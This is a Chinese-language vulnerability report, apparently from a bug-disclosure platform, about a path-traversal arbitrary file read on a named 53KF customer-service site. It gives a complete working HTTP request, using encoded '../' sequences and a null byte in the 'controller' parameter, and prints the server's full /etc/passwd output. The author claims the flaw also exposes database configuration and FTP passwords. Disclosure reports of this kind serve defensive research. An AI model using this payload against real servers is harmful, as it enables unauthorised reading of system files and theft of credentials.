53KF某重要站点任意文件读取

### 简要描述： ### 详细说明： 网站：tel.53kf.com controller可控 request： ``` GET /external.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00web&style=61565627-4006633536-103387129 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) Accept: */* Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5 Cache-Control: no-cache Host: tel.53kf.com Cookie: guest_id=36843397905 Accept-Encoding: gzip, deflate ``` response: ``` HTTP/1.1 200 OK Server: nginx Date: Mon, xxx Content-Type: text/html;charset=utf-8 Connection: keep-alive Content-Length: 1528 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/home/html/agent:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash zabbix:x:500:500::/dev/null:/sbin/nologin ftp_saas:x:502:99::/home/ftp_saas:/sbin/nologin ftp_bu:x:503:99::/home/ftp_bu:/sbin/nologin ``` 遍历全盘无压力，读取数据库配置文件，读取ftp密码，重构网站代码。。etc。这里只poc 求rank~ ### 漏洞证明：